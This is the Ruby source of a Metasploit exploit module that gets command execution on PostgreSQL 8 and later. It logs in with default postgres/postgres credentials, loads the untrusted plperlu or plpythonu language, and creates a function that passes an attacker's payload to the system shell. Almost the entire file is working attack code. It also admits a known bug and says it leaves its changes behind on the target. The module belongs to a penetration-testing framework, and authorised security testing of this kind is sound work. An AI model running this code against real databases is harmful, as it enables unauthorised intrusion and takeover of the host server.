## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/postgres' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report # Creates an instance of this module. def initialize(info = {}) super(update_info(info, 'Name' => 'PostgreSQL CREATE LANGUAGE Execution', 'Description' => %q( Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages. Most commonly this is Perl and Python. When enabled, command execution is possible on the host. To execute system commands, loading the "untrusted" version of the language is necessary. This requires a superuser. This is usually postgres. The execution should be platform-agnostic, and has been tested on OS X, Windows, and Linux. This module attempts to load Perl or Python to execute system commands. As this dynamically loads a scripting language to execute commands, it is not necessary to drop a file on the filesystem. Only Postgres 8 and up are supported. ), 'Author' => [ 'Micheal Cottingham', # author of this module 'midnitesnake', # the postgres_payload module that this is based on ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'], ['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'], ['URL', 'http://www.postgresql.org/docs/current/static/plpython.html'] ], 'Platform' => %w(linux unix win osx), 'Payload' => { 'PayloadType' => %w(cmd) }, 'Arch' => [ARCH_CMD], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 1 2016') ) register_options([ OptString.new('USERNAME', [true, 'The username to the service', 'postgres']), OptString.new('PASSWORD', [true, 'The password to the service', 'postgres']) ], self.class) deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') end def check version = postgres_fingerprint if version[:auth] version_match = version[:auth].match(/(?\w{10})\s(?\d{1,2})\.(?\d{1,2})\.(?\d{1,2})/) major_version = version_match['major_version'] if major_version.to_i >= 8 return CheckCode::Appears else print_error 'Unsupported version' return CheckCode::Safe end else print_error "Authentication failed. #{version[:preauth] || version[:unknown]}" return CheckCode::Safe end end def exploit version = do_login(username, password, database) case version when :noauth print_error 'Authentication failed.' return when :noconn print_error 'Connection failed.' return else print_status "#{rhost}:#{rport} - #{version}" end version_match = version.match(/(?\w{10})\s(?\d{1,2})\.(?\d{1,2})\.(?\d{1,2})/) major_version = version_match['major_version'] extension = 'LANGUAGE' if major_version.to_i == 8 print_status 'Selecting version 8 payload' extension = 'LANGUAGE' elsif major_version.to_i >= 9 print_status 'Selecting version 9 payload' extension = 'EXTENSION' else print_error 'Unsupported version - exploit failed' return false end print_warning 'This exploit does not clean up after itself - you will need to do that manually' # Attack! begin func_name = Rex::Text.rand_text_alpha(10) languages = %w(perl python python2 python3) loaded = false languages.each do |language| load_lang = create_language(language, extension) human_language = language.capitalize.to_s print_status "Attempting to load #{human_language}" case load_lang when 'exists' print_good "#{human_language} is already loaded, continuing" create_function(language, func_name) loaded = true when 'loaded' print_good "#{human_language} was successfully loaded, continuing" create_function(language, func_name) loaded = true when 'not_exists' print_status "#{human_language} could not be loaded" else print_error 'No exploit path found' return false end break if loaded end if loaded # Known bug: When using the cmd/unix/python*, ruby*, or bash payloads, it'll say # "NoMethodError undefined method `+' for nil:NilClass" # But the exploit and payload work just fine. I'm open to suggestions on why and how to fix - @micheal select_query = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')") case select_query.keys[0] when :conn_error print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." when :sql_error print_error "Exploit failed" return false when :complete print_good 'Starting payload' end else return false end rescue RuntimeError => e print_error "Failed to create UDF: #{e.class}: #{e}" end postgres_logout if @postgres_conn end def create_function(language, func_name) load_func = '' case language when 'perl' load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$" \ "`$_[0]`;" \ "$$ LANGUAGE pl#{language}u") # Ruby doesn't do case folding ... :/ when 'python' load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" \ "import subprocess, shlex\r" \ "subprocess.check_output(shlex.split(c))\r" \ "$$ LANGUAGE pl#{language}u") when 'python2' load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" \ "import subprocess, shlex\r" \ "subprocess.check_output(shlex.split(c))\r" \ "$$ LANGUAGE pl#{language}u") when 'python3' load_func = postgres_query("CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" \ "import subprocess, shlex\r" \ "subprocess.check_output(shlex.split(c))\r" \ "$$ LANGUAGE pl#{language}u") else print_error 'Invalid language' end case load_func.keys[0] when :conn_error print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." when :sql_error print_error "#{rhost}:#{rport} Exploit failed" return false when :complete print_good 'Loaded UDF' end end def create_language(language, extension) load_language = postgres_query("CREATE #{extension} pl#{language}u") if load_language.keys[0] == :sql_error match_exists = load_language[:sql_error].match(/language "pl#{language}u" already exists/m) if match_exists return 'exists' else match_error = load_language[:sql_error].match(/(could not access file|unsupported language)/m) if match_error return 'not_exists' end end else return 'loaded' end end # Authenticate to the postgres server. # Returns the version from #postgres_fingerprint def do_login(user, pass, database) begin password = pass || postgres_password vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") result = postgres_fingerprint( db: database, username: user, password: password ) if result[:auth] return result[:auth] else print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}") return :noauth end rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError return :noconn end end end